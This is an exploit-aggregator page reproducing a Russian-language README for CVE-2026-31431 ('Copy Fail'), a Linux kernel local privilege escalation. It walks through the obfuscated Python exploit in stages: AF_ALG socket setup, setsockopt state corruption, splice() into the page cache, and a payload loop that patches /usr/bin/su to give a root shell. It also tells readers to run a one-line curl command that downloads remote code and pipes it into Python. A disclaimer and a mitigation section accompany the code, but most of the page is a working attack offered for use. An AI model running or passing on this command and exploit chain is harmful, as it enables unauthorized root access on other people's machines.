Sploitus

Exploit for CVE-2026-31431

kitploit · 2026-08-27

Exploit Code

MARKDOWN102 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABHISHEKHARGAN-CVE-2026-31431
# CVE-2026-31431: «Copy Fail» — локальное повышение привилегий в ядре Linux

## 📢 Дисклеймер

**Данный репозиторий предназначен строго для образовательных целей и исследований в области кибербезопасности.** Код эксплойта анализируется для понимания лежащей в основе уязвимости, содействия исправлению и разработки защитных стратегий. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

## 📝 Обзор

«**Copy Fail** » — это критическая уязвимость локального повышения привилегий (LPE), обнаруженная в **ядре Linux**. Она позволяет непривилегированному пользователю получить доступ `root`, эксплуатируя ошибку в том, как ядро обрабатывает операции с памятью между файловой системой и API асинхронной криптографии (`AF_ALG`).

## ⚙️ Как это работает (технический разбор)

Представленный эксплойт на Python использует комбинацию малоизвестных системных вызовов Linux и интерфейсов для достижения произвольной записи за пределами границ (OOB) в памяти ядра, которая затем преобразуется в произвольную запись в файл на диске.

Вот пошаговый разбор цепочки атаки:

### 1\. Инициализация интерфейса `AF_ALG`

root@kitploit:~
    
    
    a=s.socket(38, 5, 0)
    a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
    

Скрипт создаёт сокет `AF_ALG` (семейство 38). Этот интерфейс позволяет приложениям пользовательского пространства переносить криптографические операции на ядро. Он специально запрашивает цепочку шифров AEAD (аутентифицированное шифрование со связанными данными), объединяющую HMAC-SHA256 и CBC-AES.

### 2\. Путаница состояний через `setsockopt`

root@kitploit:~
    
    
    v(h,1,d('0800010000000010'+'0'*64))
    v(h,5,None,4)
    

Скрипт манипулирует внутренним состоянием сокета с помощью `setsockopt`. Шестнадцатеричная полезная нагрузка и аргумент `None` тщательно подобраны для запуска граничного условия или целочисленного переполнения в управлении буфером криптографического API ядра. Это «проваливает» операцию копирования безопасно внутри ядра, оставляя сокет в несогласованном, уязвимом состоянии.

### 3\. Передача данных с нулевым копированием через `splice()`

root@kitploit:~
    
    
    n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
    

Это ядро эксплойта. Вместо чтения данных в пользовательское пространство и их обратной записи, `splice()` перемещает данные напрямую между файловыми дескрипторами целиком в пространстве ядра. Скрипт открывает `/usr/bin/su` (SUID-бинарник с правами root) и пытается перенести данные из него в неправильно настроенный сокет `AF_ALG`. Поскольку состояние сокета было повреждено на шаге 2, проверка границ ядра даёт сбой во время этой операции с нулевым копированием.

### 4\. Цикл внедрения полезной нагрузки

root@kitploit:~
    
    
    e=zlib.decompress(d("78da..."))
    while i<len(e):c(f,i,e[i:i+4]);i+=4
    

Скрипт распаковывает сжатую полезную нагрузку (вероятно, небольшой шеллкод или изменённый бинарный блок). Он входит в цикл, отправляя эту полезную нагрузку по 4 байта за раз в повреждённый буфер сокета. Из-за сбоя проверки границ эти 4-байтовые записи попадают в произвольные смещения в кэше страниц ядра — именно в то пространство памяти, где загружен `/usr/bin/su`.

### 5\. Повышение привилегий

root@kitploit:~
    
    
    g.system("su")
    

Перезаписывая определённые указатели инструкций или логические проверки в версии `/usr/bin/su`, находящейся в кэше страниц, атакующий изменяет поведение бинарника. Когда вызывается `system("su")`, он выполняет изменённый SUID-бинарник. Бинарник запускается с правами `root`, но пропускает стандартную проверку пароля, сразу предоставляя атакующему root-шелл.

### 6\. Эксплуатация

Скачайте и запустите **copyfail.py** в вашей системе Linux или используйте приведённый ниже **curl** -запрос для быстрого запуска

root@kitploit:~
    
    
    curl https://copy.fail/exp | python3 && su
    id
    

https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e

## 🎯 Воздействие

  * **Серьёзность:** Критическая
  * **Вектор атаки:** Локальный (требуется выполнение на целевой машине)
  * **Воздействие:** Полный доступ root, обход всех файловых разрешений и профилей SELinux/AppArmor.



## 🛡️ Смягчение и защита

  1. **Обновите ядро:** Примените последние исправления безопасности, предоставленные вашим дистрибутивом Linux (Canonical, Red Hat, Debian и т. д.).
  2. **Ограничьте`AF_ALG`:** Если криптографическая разгрузка не требуется вашим рабочим нагрузкам, отключите модуль ядра `af_alg`, добавив `blacklist af_alg` в `/etc/modprobe.d/blacklist.conf`.
  3. **Профили Seccomp/AppArmor:** Ограничьте возможность непривилегированных пользователей использовать `splice()`, `socket()` (в частности, семейство 38) и `setsockopt()` с помощью строгих фильтров Seccomp.



## 📚 Ссылки

  * https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4